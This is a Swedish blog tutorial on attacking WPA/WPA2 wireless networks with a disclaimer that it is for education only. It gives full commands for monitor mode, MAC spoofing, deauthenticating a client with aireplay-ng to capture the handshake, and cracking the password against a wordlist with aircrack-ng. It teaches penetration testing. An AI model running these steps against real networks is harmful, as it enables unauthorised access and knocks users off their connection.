Sec24 – Penetrationstest – Trådlösa nätverk WPA/WPA2
Av: Oscar Andersson, Sec24, 2013-06-07
OBS: Följande guider är enbart för utbildningssyfte och får absolut inte användas för olagliga ändamål.
Jag går här igenom hur ett trådlöst nätverk kan tas över och hur kryptotext/chiffertext dekrypteras. Om en hackare tar sig in i ett företags WLAN (Wireless Local Area Network) innebär det att denne kan gå vidare i nätverket och ta över servrar, komma åt känsliga filer och övervaka nätverkstrafiken som strömmar igenom. Krypteringsformen WPA, Wi-Fi Protected Access, skapades av Wi-Fi Alliance för att ersätta WEP som var väldigt sårbart.
För att kunna utföra det här behöver du ett trådlöst nätverkskort som är kompatibelt med Kali eller BackTrack. Jag använder mig av ett D-Link DWA-140 USB.
Om du kör Kali via virtual machine (VMware) så måste du koppla nätverkskortet till din virtuella maskin efter att denna är startad. Det gör du genom att gå till VM –> Removable Devices –> “WLAN-Adapternamn” –> Connect
I nästa steg kör vi kommandot ifconfig -a för att verifiera att nätverkskortet är upptäckt. Har du enbart ett trådlöst nätverkskort letar vi efter adaptern wlan0.
Nästa steg är att ladda modulen till Linux operativsystemskärna (Kernel). Jag använder rtl8187 chippet som stödjer de trådlösa standarderna 802.11(a)/b/g samt WEP, WPA och WPA2 kryptering.
Använd kommandot modprobe för att ladda modulen och verifiera att den laddats med kommandot dmesg.
modprobe rtl8187
dmesg | grep rtl8187
Nästa steg är att aktivera övervakningsläget (Enable monitor mode).
airmon-ng start wlan0
För att läsa mer om airmon-ng kan du göra det här.
Vi ska nu temporärt stäng av mon0 gränssnittet. Detta gör vi för att kunna ändra gränssnittets MAC-adress (Media Access Control address).
ifconfig mon0 down
ifconfig mon0 (Notera att “UP” nu inte visas framför BROADCAST.)
macchanger -m 00:11:22:33:44:55 mon0 (Byter mon0:s MAC-adress. macchanger kan du läsa mer om här)
ifconfig mon0 up (Startar upp mon0 igen)
ifconfig mon0 (Verifiera att mon0 startat genom att UP visas framför BROADCAST samt att den nya HWaddr är 00:11:22:33:44:55)
I nästa steg använder vi kommandot airodump-ng mon0 för att kontrollera vilka nätverk som finns i omgivningen. Vi letar efter nätverk som använder sig av WPA eller WPA2 i Encryption-kolumnen (ENC). Här ser vi att nätverket med namnet Sec24 (ESSID) använder sig av WPA2. Kopiera nätverkets BSSID och vilken Channel (CH) nätverket använder. Vill du avbryta scanningen av nätverket trycker du CTRL+C samtidigt.
Vi ska nu använda oss av två terminaler. I den första kör vi kommandot: airodump-ng -c 6 -w output –bssid C8:60:00:E7:6D:68 –ivs mon0
-c specificerar channel. I vårt fall 6.
-w sparar vår output till en fil som sedan kommer användas av aircrack-ng.
–bssid ställer in målets BSSID.
–ivs specificerar initialization vectors som också används av aircrack-ng.
mon0 är wan0:s övervakningsgrässnitt.
För att få veta mer om airodump-ng och programmets kommandon kan du klicka här.
När du ser en rad under Station kan du avbryta genom att trycka CTRL + C. Kopiera både BSSID och STATION.
I mitt fall: C8:60:00:E7:6D:68 20:02:AF:3C:CE:F9
Starta sedan om airodump-ng med samma kommando: airodump-ng -c 6 -w output –bssid C8:60:00:E7:6D:68 –ivs mon0
Vi ska nu skicka en autentiseringsbegäran till nätverket. Det gör vi genom kommandot: aireplay-ng -0 1 -a C8:60:00:E7:6D:68 -c 20:02:AF:3C:CE:F9 -e Sec24 mon0
-o står för “Attack 0: Deauthentication” och 1 innebär att en deauth skickas. Hade det istället stått -0 -0 hade programmet fortsatt att skicka deauths till programmet stängts av. En de-authentication begäran skickas för att få fram ett så kallat WPA Handshake.
– a definierar accesspunktens BSSID, i mitt fall C8:60:00:E7:6D:68.
-c är klientens BSSID, 20:02:AF:3C:CE:F9.
-e är accesspunktens ESSID, Sec24.
För att få veta mer om aireplay-ng och programmets kommandon kan du klicka här.
I den översta terminalen borde du nu se ett WPA handshake om allt gått rätt till. När du ser detta kan du trycka CTRL + C för att avbryta airodump-ng.
Vi använder nu aircrack-ng för att försöka knäcka lösenordet. Desto säkrare lösenord du använder desto svårare är det att knäcka.
Kommando för Kali:
aircrack-ng -w /usr/share/john/password.lst output-02.ivs
Kommando för BackTrack:
aircrack-ng -w /pentest/passwords/john/password.lst output-02.ivs
-w specifierar lösenordslistan som ska användas.
output-02.ivs är filen som innehåller initialization vector (IV) som fångades när vi skickade en deauth-begäran.
För att få veta mer om aircrack-ng och programmets kommandon kan du klicka här.